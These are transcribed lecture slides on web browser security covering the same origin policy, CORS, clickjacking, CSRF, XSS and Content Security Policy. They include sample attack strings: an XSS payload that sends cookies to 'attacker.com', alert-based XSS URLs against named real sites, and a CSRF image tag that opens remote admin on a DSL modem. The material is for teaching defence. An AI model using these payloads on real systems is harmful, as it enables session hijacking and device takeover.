Web Browser Security James Walden Northern Kentucky University.

Web Browser Security

James Walden

Northern Kentucky University

CSC 666: Secure Software Engineering

Topics

1. HTML

2. JavaScript, JSON, and the DOM

3. Same Origin Policy (SOP)

4. Extensions and Plug-ins

5. Browser Fingerprinting

6. Clickjacking

7. Cross-Site Request Forgery (CSRF)

8. Cross-Site Scripting (XSS)

9. Content Security Policy (CSP)


HTML

Hierarchical tree structure of tags.

Tags have optional name=value parameters.

Text nodes may exist between tags.

Special characters:

< > “ ‘ &


Entity EncodingEntity Character

< <

> >

& &

" “

' ‘

© ©

¶ ¶

€ €

≈ ≈

½ ½

&#nnnn; Unicode code point nnnn (decimal)

&#xhhhh; Unicode code point hhhh (hexadecimal)


HTML vs. XHTML

HTML Generously interprets tags, with many variants

between browsers. Interprets string between certain tags as non-HTML

text: <style>, <script>, <textarea>, <xmp>.

XHTML Strict: tags are case sensitive; all tags must be closed

and properly nested; attributes must be quoted; etc. Supports raw text inside any tag via <![CDATA[ … ]]> Can incorporate sections using other XML-based

markup languages like MathML.

HTTP/HTML Integration

Why express HTTP headers in HTML? HTML document loaded from local file. HTML document received via non-HTTP protocol.

How to express HTTP headers in HTML? http-equiv meta tags<meta http-equiv=“Content-Type” content=“text/html;charset=utf-8”>

Dangers of HTTP/HTML integration Undefined behavior when meta tags conflict with each

other or with HTTP headers. Browser has already made some decisions about how

to process document. Can’t change content type from HTML or change location to load content from.

HTML Parsing Complexity

1: IE will allow a NUL to be inserted.

2, 4: Can replace space with vertical tab (0x0B) or form feed(0x0C) or UTF-8 nb space(0xA0) in Opera.

2: Whitespace can be replaced by /.

3: NULs or whitespace may be inserted.

5: IE accepts backtick(`) as well as quotes.

6: Whitespace after quotes can be skipped.

Example from The Tangled Web

HTML Obfuscation Techniques

Example from Web Application Obfuscation

Fake invalid namespaces

Invalid but working attribute separators

Decimal and hex entities inside HTML attributes

CSS entities inside the style attribute

Double encoded entities inside the style attribute

Backticks as attribute value delimiters

Invalid but working escapings

JavaScript Unicode entities in onbegin event handler

Crippled decimal entities inside onbegin event handler

Invalid garbage before the ending tag

Snippet aboveruns JavaScriptusing followingobfuscation techniques.


HTML Input Validation

1. Don’t accept HTML input. The best approach if you can choose it.

2. Whitelist validation with a parser.1. Use HTML (or XML) parser to create in-

memory representation of input string.

2. Remove all unknown or undesired tags, attributes, and values.

3. Serialize in-memory data structure to a well-formed correctly escaped HTML document.


HTML Forms

<form> tag action=URL destination

for form input. method=get sends input

as query string parameters

method=post sends input as data in POST method

<input> tag name=name of input. type attribute specifies

checkbox, radio, text, etc.


Hidden Fields

<input type=“hidden” name=“user” value=“james”> Used to propagate data between HTTP

requests since protocol is stateless. Clearly visible in HTML source. User can modify hidden values since form can

be copied, modified to change hidden fields, then used to invoke script.


HTTP POST Request

POST http://www.example.com/ HTTP/1.1Host: www.example.comUser-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */*Accept-Language: en-us,en;q=0.5

Method URL Protocol Version

Headers

Blank Line

POST data

name=Jane+Doe&sex=female&color=green&over6feet=true&over200pounds=false&athleticability=NA


JavaScript

Common web scripting language. Standardized as ECMAScript (currently version 5). Runs in browser via a Just-In-Time (JIT) compiler.

Can be included in a web page via Inline <script> blocks. Remote scripts via <script src=“…> javascript: URLs in HTML params and CSS. CSS expression(…) syntax Event handlers (onload, onclick, onerror, …) Timers (setTimeout, setInterval) eval(…) calls from within JavaScript.

JavaScript Security Issues

Each <script> block is processed individually in the order encountered on page.

Syntax error won’t stop later <script>s from running. All scripts can set variables in global namespace. Scripts can replace built-in classes and functions.

Nested script inclusion requires nested encoding<div onclick=“setTimeout(‘do_stuff(\’user_string\’)’,1)”>

1. HTML parser extracts onclick and puts in DOM.

2. When button clicked, timeout is set.

3. When timeout triggered, inside script executed.

To be secure, double-encode user_string with JS backslashes, then encode with HTML entities.

JSON

JSON = JavaScript Object Notation Lightweight data interchange format. Based on a subset of JavaScript, but is Language independent; libraries for any

language. Standards: RFC 4627 and ECMA-404.

JSON parsing Use JSON.parse(…) Do not use eval(…) as it will execute any

JavaScript code, not just parse JSON.

JSON Arrays

Arrays are lists of items Delimited by square brackets: [] Items in array separated by commas Items can be of different data types

Array Examples [1, 2, 3] [“one”, “two”, “three”] [1, “two”, 3] [ 1, “two”, [1,2,3] ]

JSON Objects

Objects are associative arrays Delimited by curly braces: {} Key/value pair syntax is “key” : value Pairs separated by commas Values can be objects, arrays, or scalar types.

Object Examples { “spam” : “eggs” } { “x” : 1, “y” : 2, “z” : 3 } { “hostname” : “kosh”, “ips” : [ “10.0.0.1”,

“172.31.0.1”], “age” : 3 }

JSON Example{

"firstName": "John",

"lastName": "Smith",

"age": 25,

"address":

{

"streetAddress": "21 2nd Street",

"city": "New York",

"state": "NY",

"postalCode": 10021

},

"phoneNumbers":

[

{ "type": "home", "number": "212 555-1234" },

{ "type": "fax", "number": "646 555-4567" }

]

}


Document Object Model (DOM)

DOM connects JavaScript and CSS to HTML documents.

JavaScript can read and modify every element of HTML.

Dynamic HTML (DHTML) = DOM + JavaScript + CSS.

Capability used by threats in cross-site scripting attacks.


XMLHttpRequest (XHR) API

JavaScript API to request data from server. Without loading a new web page in browser. Can be done asynchronously so web

application UI responsive during loads. Resources typically XML or JSON data.

Allows highly interactive web applications AJAX = Asynchronous JavaScript and XML Examples: Google Maps, Gmail, etc. Can only request resources from server that

JavaScript came from (Same Origin Policy.)


DHTML vs. Ajax


Browser Storage Why aren’t cookies enough?

Performance hit: included with every HTTP request. Limited to about 4KB in size.

Flash storage Local Stored Objects (LSOs) 100KB per domain. Client can request more storage with user approval.

Web Storage (aka DOM Storage) Standard supported by all browsers. Key/value storage in string format. 5MB of storage per origin.

WebSQL exists but is not supported by IE or FF.


Same Origin Policy for DOM

Policy: Given any two JavaScript execution contexts, one should be able to access the DOM of the other only if protocols, DNS names, and port numbers of their documents match exactly.

Cannot isolate home pages of different users. Disallows communication between login.example.com

and payments.example.com.


document.domain

JavaScript property that permits two cooperating web sites that share a common TLD to agree to be considered same domain for SOP checks.

Example: On login.example.com and payments.example.com document.domain = “example.com”


postMessage() API

postMessage() API HTML 5 extension that permits secure communication

between client scripts from different domains.

Example On login.example.com (sender)

parent.postMessage(key=val, ‘http://payments.example.com)

On payments.example.com (receiver)addEventListener(“message”, info, false)

If (msg.origin == “https://login.example.com”) {

// use msg.data that was sent by login.example.com

}


Same Origin Policy for XHR

XHR requests work like HTTP except XHR URL must match origin of document document.domain setting is ignored

XHR limited on a per-browser basis on HTTP methods (none allow TRACE) HTTP headers (none allow Host, Referer,

Content-Length)


Cross-Origin Resource Sharing

CORS allows secure cross-domain requests. Simple: GET or POST text/plain, no custom headers Preflighted: Different request, body types + headers

Cookies are not sent by browser with either type. Simple Request Mechanism

HTTP request specifies its origin with a header:- Origin: URL

If request is allowed, HTTP response is- Access-Control-Allow-Origin: URL or- Access-Control-Allow-Origin: *

* is for public resources and ignores SOP entirely.


XHR+CORS Interaction


CORS Preflight Mechanism Preflight OPTIONS HTTP request

Origin: URL Access-Control-Request-Method: method Access-Control-Request-Headers: optional header with

a ,-separated list of custom headers being used.

Preflight HTTP response Access-Control-Allow-Origin: URL Access-Control-Allow-Methods: ,-separated list of

methods. Access-Control-Allow-Headers: optional header with a

,-separated list of headers permitted by server. Access-Control-Max-Age: time to cache preflight response Access-Control-Allow-Credentials: true if want to

permit authentication credentials to be sent.

Cookie and DOM SOP Interaction

Path scope used by cookie SOP, but not by DOM. JavaScript in same domain can overwrite cookies

regardless of path scope.

An attack User browses to secure.example.com, which uses

SESSIONID cookie for authentication. Attacker on test.example.com installs script. User browses to test.example.com, runs script. Script sends many cookies, overflowing cookie jar. Script sets SESSIONID token for *.example.com. User uses attacker SESSIONID on next access of

secure.example.com.


Pseudo-URLs

Allow inclusion of data directly in HTML pages. about:, data:, and javascript: are pseudo-URLs. Each browser treats pseudo-URL origins differently.

Uses of Pseudo-URLs about:blank is typically used to create blank DOM in

iframes for scripts to control. <img src=“data:image/jpeg;base64,/9j/4AAQSk…”> <iframe src=“data:text/html;<h1>Hello world</h1>”> <iframe src=“javascript:alert(‘Hello world’)”>


Cross-Site Attacks

Target users of application. Use application feature to reach other users

of application, bypassing same origin policy. Obtain assets of individual users rather than

assets of entire application.

One of the most common types of attack. Clickjacking Cross-Site Request Forgery (CSRF) Cross-Site Scripting (XSS)


Clickjacking Any page can embed

any other page inside a frame.

Malicious pages can hide that fact by overlaying display elements.

Clicks in frame are delivered to embedded application with cached credentials.

The Tangled Web


Clickjacking Defences

X-Frame-Options header DENY: prevent any site from framing content SAMEORIGIN: only same origin can frame. ALLOW-FROM: only specified URL can frame.

CSP2 frame-ancestors directive Same capabilities using CSP directives.

Frame breaking scripts Classic frame breaking

- if(top != self) top.location.replace(location); Malicious sites can stop, so frame breaking evolves. Frame sandboxing can stop any frame breaking.


Cross-Site Request Forgery

A confused deputy attack. Exploits the trust that an application has with

authenticated sessions.

Attack scenario: User authenticates to web application. User browses to another site containing a

malicious CSRF attack link to web app.- iframe, img, link, bgsound, etc.

Browser accesses web app with cached credentials, performing whatever action specified by the link.


Example: DSL Modem Attack

Home network devices are administered via web apps. Standard local IPs.

Attacker inserts 1-pixel img tag on page. src is URL of form

submission, giving remote admin.

No password needed. Software owner assumed

device on trusted local network.

Of course, browser is on the local network too.

<img src="http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePassword=blehblah&NSS_EnableWANAdminAccessRES=on&timeoutDisable=0&Enable=Enable" alt="" width="1" height="1" />


Mitigating CSRF

Require POST for data modifications, but Many frameworks automatically fetch both types of

parameters or convert one to other. Hidden POST requests can be created with scripts.

Check referer header. But users can block or forge referer header, so it

cannot be relied on for everyone.

Use nonces. Random token inserted as hidden parameter, and

thus submitted with form. But XSS can read form, so a combined XSS + CSRF

attack can bypass this defense.


Mitigating CSRF

Re-authenticate for high value transactions. Use out of band authentication if possible.

Expire session IDs quickly. But there will always be some time period in

which a CSRF attack will work.

Automate defenses with tools. CSRFGuard to insert nonces. CSRFTester to verify application.


Cross-Site Scripting (XSS)

Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing.

Impact of XSS Account hijacking. Browser hijacking (malware hosting.) Information leakage (stored form values, etc.) Virtual defacement.


XSS Example

Web application sends browser to an error page after user clicks submit.

https://example.com/error.php?message=Sorry%2C+an +error+occurred


XSS Example

The error message is “reflected” back from the Web server to the client in a web page.


XSS Example

We can replace the error with JavaScript

https://example.com/error.php?message=<script>alert(‘xss’);</script>


Exploiting the Example

1. User logins in and is issued a cookie

2. Attacker feed the URL to user

https://example.com/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bdocument.cookie;</script>


Why does XSS Work?

Same-Origin Policy Browser only allows Javascript from site X to

access cookies and other data from site X. Attacker needs to make attack come from

site X.

Vulnerable Server Program Any program that returns user input without

filtering out dangerous code.


Reflected XSS

Attack Scenario User clicks on link. Injected script returned by one-time message

from vulnerable site. User browser executes injected code.

Limitations Non-persistent. Only works when user clicks. Most common type of XSS (~75%).


Anatomy of an XSS Attack

1. Login

2.

Cookie

Web Server

3. XSS Attack

AttackerUser

4. User clicks on XSS link.

5. XSS URL

7. Browser runs injected code.

Evil site saves ID.

8. Attacker hijacks user session.

6. Page with injected code.


XSS URL Exampleshttp://www.microsoft.com/education/?

ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script>

http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script>

http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E


Stored XSS

Injected script stored in Post or comment. Review. Uploaded file.

User views page with injected script. Malicious action is taken while user is logged

into site where malware found. Not technically cross-site.

Attack persists until injected code deleted.


Browser Exploitation Framework

BeEF hooks browsers via XSS exploit Can use as stored or reflected XSS. Hooked browsers are bots controlled by BeEF.

Exploitation modules run on hooked browsers to View browsing history. Identify authenticated sessions. Phishing and other social engineering attacks. Port scans of network browser is running on. Reverse proxy into network browser is running on. Use Metasploit.


BeEF Screenshot


Mitigating XSS

1. Disallow HTML input2. Allow only safe HTML tags3. Encode output

Replace HTML special characters in output

ex: replace < with < and > with >also replace (, ), #, &

4. Re-authenticate for important transactions to limit exposure to account hijacking.

5. Content Security Policy (CSP)

Content Security Policy (CSP) Server specifies security policy via CSP HTTP header

Content-Security-Policy: policy Policy is ;-delimited string containing policy directives.

Policies limit Origins for including content (scripts, images, styles, etc.) Use of inline resources, such as <script> tags, javascript: URLs,

inline event handlers, and <style> tags. Dynamic code evaluation with eval() and other methods.

CSP versions and support CSP level 1 is supported by all browsers since 2013 except IE,

which uses X-Content-Security-Policy header. CSP level 2 last call working draft in 2015.


CSP Directives Source specifications

URL with optional wildcards ‘none’: no URLs match. ‘self”: current URL matches. ‘unsafe-inline’: allow inline resources. ‘unsafe-eval’: allow dynamic code evaluation

Policy directives child-src: limits nested browsing contexts like frames. connect-src: limits resources that can be requested by scripts. default-src: child, connect, font, img, media, object, script, style. plugin-types: specifies valid plugins to use with this page. referrer: string to place in referer header when links followed. report-uri: URI for browser to report attempted violations.

CSP Examples All content must come from domain of URL, excluding

subdomains Content-Security-Policy: default-src ‘self’

Allow content from trusted domain and its subdomains Content-Security-Policy: default-src ‘self’ *.trusted.com

Allow domains for specified content types Content-Security-Policy: default-src 'none'; script-src

https://cdn.mybank.net; style-src https://cdn.mybank.net; img-src https://cdn.mybank.net; connect-src https://api.mybank.com; frame-src 'self‘

Allow social media widgets Content-Security-Policy: script-src https://apis.google.com

https://platform.twitter.com; frame-src https://plusone.google.com https://facebook.com https://platform.twitter.com


Frame Sandboxing

HTML5 sandbox limitations Frames are assigned a unique, random, synthetic

origin, preventing page from accessing origin bound content from its domain. Allow-same-origin disables.

Framed document cannot navigate to parent. JavaScript will not execute. Plugins will not load. Forms will not be submitted. Features that trigger automatically are disabled.

Sandbox attribute whitelist Space-separated list of allowed actions.


Frame Sandbox Attributes

Sandbox capabilities allow-forms allow-popups allow-scripts allow-same-origin allow-scripts allow-top-navigation

Example sandbox<iframe sandbox="allow-same-origin allow-scripts allow-forms” src=https://platform.twitter.com/widgets/tweet_button.html style="border: 0; width:130px; height:20px;"></iframe>

https://platform.twitter.com/widgets/tweet_button.html



Browser Security Architecture

http://shreeraj.blogspot.com/2011/12/top-10-html5-threats-attack-vectors.html


Browser Vulnerability HistoryF

irefo

xC

hrom

e


Extensions and Plug-ins

Extensions Exist inside browser process. Can create browser menus and tabs. Can affect any and all web pages.

Plug-ins Can exist outside browser process. Only affects page plugin is loaded into. Loaded by MIME type or <object> tag. Have their own security policies.

Add-on Umbrella term for plug-ins, extensions, themes, etc.


Extensions

Extensions run inside browser process. Typically written in JavaScript, HTML, XML. Has more privilege than a web page. Not restricted by SOP. Can read/write files, access login manager, …


Extensions

Extensions are dangerous. Running an extension gives creator access to almost

everything the browser can do. Can bypass efforts by applications to attempt to

secure interactions with SSL, etc.

Extensions can have vulnerabilities Extensions that use user input, such as web page

contents, need to validate that input carefully to avoid being controlled by attacker.

XCS (cross-context scripting) is attack similar to XSS but since it occurs in extension, gives system access.

Example: http://www.gnucitizen.org/blog/firebug-goes-evil/

Invoking a Plug-in

HTML invocation of a plug-in<object data=“app.swf” type=“application/x-shockwave-flash”>

<param name=“param1” value=“value1”>

<param name=“param2” value=“value2”>

…

</object>

Browser processing of plug-in invocation If type specified, compare type with MIME types registered by all

active plug-ins. If a match is found, then start the matching plug-in. If match not found, browser may check file suffix in data URL or

Content-Type returned by server when that URL is fetched. If still no match, check body or ask user to install plug-in.


GIFAR Vulnerability

Graphics Interchange Format java Archive Has GIF header, so it’s a valid image. Has ZIP footer, so it’s a valid JAR.

Attacker uploads on image hosting site Victim downloads image. Content-type handling confusion transfers

control to Java plug-in which runs file as a Java program, which

Has access to victim cookie’s for image host.


Adobe Flash

Multimedia plugin with ActionScript Found on 95+% of all browsers. ActionScript is derived from JavaScript.

ActionScript has more permissions than JavaScript Full screen rending for UI spoofing. Access to inputs like microphone, webcam.

Cross Domain Policy (as of Flash Player 7) Performs domain matching before allowing access. Can expand limits with crossdomain.xml policy file.


ActiveX

Executable code downloaded from server Native code binary format Can perform any action on client system. IE 9 disables Active X by default.

Security model– Digital signature

authentication– Zone-based access

control– No control once

execution starts


Java

Applet plugin Found on 80+% of all browsers. Deprecated <applet> tag superseded by <object>.

Java has more permissions than JavaScript Can open URL connections to any host at same IP,

undoing isolation between virtual hosts. Can make TCP connections to any port.

Java security architecture Runs applets in a sandbox, optional code signing. Supports Flash crossdomain.xml files since 6u10. Digital signatures on applets required after 7u21.


Java Security Architecture

Bytecode Verifier Type checking. Bounds checking.

Class Loader Enforces namespaces.

Security Manager Checks code

signatures. Enforces security

policies.


Browser Fingerprinting

Clients can identify specific browsers HTTP headers, including User-Agent, and Network addresses, and System characteristics.

System characteristics include Browser plug-ins Fonts Screen resolution Window sizes Clock drift RNG behavior

Private Browsing Modes

Provide limited privacy Disable browser history and web cache. Disable storing cookies and LSOs to disk. Designed to protect against other users of PC.

Privacy exceptions Browsers will store site configuration (pop-up

blocking, SSL certificates, etc.) Windows OS will have sites visited in DNS cache. Servers can determine if private browsing is enabled

by measuring time to write cookies.

Browsers can still be fingerprinted Most fingerprint features still enabled.


MPack Browser Malware

1. User visits site.2. Response contains

iframe.3. Iframe code causes

browser to make request.

4. Request redirected to MPack server.

5. Server identifies OS and browser, sends exploit that will work for client configuration.

6. Exploit causes browser to send request for code.

7. Mpack downloader sent to user, begins d/ling other malware.


MPack

Commercial underground PHP software Sold for $700-1000. Comes with one year technical support. Can purchase updated exploits for $50-150.

Infection Techniques Hacking into websites and adding iframes. Sending HTML mail with iframes. Typo-squatting domains. Use GoogleAds to draw traffic.


Key Points

1. HTML HTML vs. XHTML parsing differences. Input validation requires a whitelist approach with a parser.

2. JavaScript and the DOM DHTML vs. XHR approaches to application design. How and when JavaScript executes in a page.

3. Plug-ins and Extensions

4. Same Origin Policy (SOP) Prevents web sites from accessing cookies, etc. from other sites. CORS provides for safe cross-domain XHR. Clickjacking, XSS, and CSRF attacks bypass SOP.

5. CSP and Sandboxing


References

1. Devdatta Akhawe, Prateek Saxena, and Dawn Song. "Privilege Separation in HTML5 Applications." USENIX Security Symposium. 2012.

2. Wade Alcom et. Al., The Browser Hacker’s Handbook, Wiley, 2014.

3. Robert Hanson and Jeremiah Grossman, Clickjacking, http://www.sectheory.com/clickjacking.htm, 2008.

4. Mario Heiderich et. Al., Web Application Obfuscation, Syngress, 2010.5. HTML 5 Security, http://html5security.org/6. Mozilla, Using Content Security Policy, https://

developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy, 2015.

7. Mark Pilgrim, Dive into HTML5, http://diveintohtml5.info/8. Dafydd Stuttart and Marcus Pinto, The Web Application Hacker’s

Handbook, 2nd Edition, Wiley, 2011.9. W3C, Content Security Policy Level 2, http://www.w3.org/TR/CSP/, 2015.10. Web Application Security Working Group,

http://www.w3.org/2011/webappsec/.11. Michael Zalewski, The Browser Security Handbook,

https://code.google.com/p/browsersec/, 2009.12. Michael Zalewski, The Tangled Web: A Guide to Securing Modern Web

Applications, No Starch Press, 2011.

http://www.sectheory.com/clickjacking.htm

http://www.sectheory.com/clickjacking.htm

http://html5security.org/

http://html5security.org/

https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy



http://diveintohtml5.info/

http://diveintohtml5.info/

http://www.w3.org/TR/CSP/

http://www.w3.org/TR/CSP/

https://code.google.com/p/browsersec/

https://code.google.com/p/browsersec/

Web Browser Security James Walden Northern Kentucky University.

Documents

Transcript of Web Browser Security James Walden Northern Kentucky University.